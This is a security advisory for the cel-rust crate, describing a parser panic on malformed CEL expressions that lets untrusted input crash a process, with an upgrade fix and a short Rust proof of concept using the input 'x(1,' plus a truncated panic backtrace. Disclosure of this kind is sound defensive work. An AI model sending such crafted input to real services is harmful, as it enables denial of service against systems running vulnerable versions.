cel-rust is a Common Expression Language interpreter written in Rust. Starting in version 0.10.0 and prior to version 0.11.4, parsing certain malformed CEL expressions can cause the parser to panic, terminating the process. When the crate is used to evaluate untrusted expressions (e.g., user-supplied input over an API), an attacker can send crafted input to trigger a denial of service (DoS). Version 0.11.4 fixes the issue.

Affected: crates.io: cel

### Summary

Parsing certain malformed CEL expressions can cause the parser to panic, terminating the process. When the crate is used to evaluate untrusted expressions (e.g., user-supplied input over an API), an attacker can send crafted input to trigger a denial of service (DoS).

### Remediation Upgrade to 0.11.4 ```toml [dependencies] cel = "0.11.4" ```

### PoC

```rust use cel::{Context, Program};

fn main() { let program = Program::compile("x(1,").unwrap(); let context = Context::default(); let value = program.execute(&context).unwrap(); assert_eq!(value, true.into()); } ```

``` $ RUST_BACKTRACE=1 cargo run --bin example-simple Compiling num-traits v0.2.19 Compiling aho-corasick v1.1.3 Compiling regex-syntax v0.8.5 Compiling arbitrary v1.4.1 Compiling serde v1.0.219 Compiling thiserror v1.0.69 Compiling regex-automata v0.4.9 Compiling chrono v0.4.41 Compiling regex v1.11.1 Compiling cel v0.10.0 (/home/john/git/cel-rust/cel)

warning: `cel` (lib) generated 15 warnings Compiling example v0.1.0 (/home/john/git/cel-rust/example) Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.97s Running `target/debug/example-simple`

thread 'main' panicked at /home/john/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/antlr4rust-0.3.0-beta3/src/tree.rs:383:9: internal error: entered unreachable code: should have been properly implemented by generated context when reachable stack backtrace: 0: __rustc::rust_b…